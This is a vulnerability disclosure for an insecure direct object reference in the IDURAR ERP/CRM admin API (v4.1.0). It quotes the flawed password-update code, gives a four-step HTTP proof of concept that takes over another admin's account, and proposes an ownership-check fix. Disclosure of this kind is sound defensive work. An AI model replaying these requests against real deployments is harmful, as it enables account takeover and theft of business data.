IDOR in /api/admin/password-update/:id Allows Any Admin to Take Over Any Other Admin Account
reported privately on 24 May 2026 but no responses: https://github.com/idurar/idurar-erp-crm/security/advisories/GHSA-8468-63jh-xjf2
Summary
The PATCH /api/admin/password-update/:id endpoint does not verify that the authenticated user is the same admin whose password is being changed. Any authenticated admin can supply any other admin's MongoDB _id as the :id URL parameter and set an arbitrary new password for that account, achieving full account takeover.
Details
The vulnerable code is in backend/src/controllers/middlewaresControllers/createUserController/updatePassword.js.
The updatePassword function extracts the authenticated user from req[reqUserName] (set by isValidAuthToken), but then performs the password update using req.params.id without verifying these two values match:
// updatePassword.js, line 37
const resultPassword = await UserPassword.findOneAndUpdate(
{ user: req.params.id, removed: false }, // <-- controlled by caller
{ $set: UserPasswordData },
{ new: true }
).exec();There is no check such as if (req.params.id !== userProfile._id.toString()) return 403. The route is registered at:
PATCH /api/admin/password-update/:idand sits behind adminAuth.isValidAuthToken (meaning any valid admin session token suffices). The only protection in place is a hardcoded guard for the demo account email [email protected], which does not protect real accounts.
A companion issue exists at GET /api/admin/read/:id: the read function in createUserController/read.js also accepts any :id without ownership verification, letting any admin enumerate other admins' email addresses, names, and roles.
Affected files:
backend/src/controllers/middlewaresControllers/createUserController/updatePassword.js(line 37)backend/src/controllers/middlewaresControllers/createUserController/read.js(line 7)backend/src/routes/coreRoutes/coreApi.js(lines 14, 16)
PoC
Environment: IDURAR backend running on http://localhost:9123 with two admin accounts:
- Attacker:
[email protected](ID:6a11c36b2fc5a8f00c5458fb) - Victim:
[email protected](ID:6a11c3817ea24cc9d9363753)
Step 1 -- Attacker logs in and obtains their JWT:
POST /api/login
{"email":"[email protected]","password":"Password123!"}
Response: {"success":true,"result":{"_id":"6a11c36b2fc5a8f00c5458fb","token":"<ATTACKER_TOKEN>", ...}}Step 2 -- Attacker reads victim admin profile (IDOR info disclosure):
GET /api/admin/read/6a11c3817ea24cc9d9363753
Authorization: Bearer <ATTACKER_TOKEN>
Response: {"success":true,"result":{"_id":"6a11c3817ea24cc9d9363753","email":"[email protected]","role":"owner",...}}Step 3 -- Attacker changes victim password using their own token:
PATCH /api/admin/password-update/6a11c3817ea24cc9d9363753
Authorization: Bearer <ATTACKER_TOKEN>
Content-Type: application/json
{"password":"AttackerControlled!"}
Response: {"success":true,"result":{},"message":"we update the password by this id: 6a11c36b2fc5a8f00c5458fb"}Note: the response message echoes the attacker's ID, confirming the auth token belonged to the attacker, not the victim.
Step 4 -- Victim account is taken over:
POST /api/login
{"email":"[email protected]","password":"AttackerControlled!"}
Response: {"success":true,"result":{"_id":"6a11c3817ea24cc9d9363753","email":"[email protected]","token":"<VICTIM_TOKEN>",...}}Full reproduction transcript saved at: screenshots/idor_password_takeover_poc.txt
Fix: Add an ownership check before updating. For example:
if (req.params.id !== userProfile._id.toString()) {
return res.status(403).json({ success: false, message: 'Forbidden' });
}Impact
Any authenticated admin user can take over any other admin account by:
- Discovering the victim's MongoDB ObjectId (trivially obtained from
GET /api/admin/read/:idvia the same IDOR, or from normal UI navigation). - Issuing a single PATCH request to reset the victim's password.
- Logging in as the victim with full access to all ERP/CRM data (invoices, clients, payments, settings).
In a multi-admin deployment this allows lateral escalation between admin accounts and complete data exfiltration or manipulation. All versions tested at current HEAD (v4.1.0) are affected. No patch is known at time of writing.
Affected version: 4.1.0
Source: idurar/idurar-erp-crm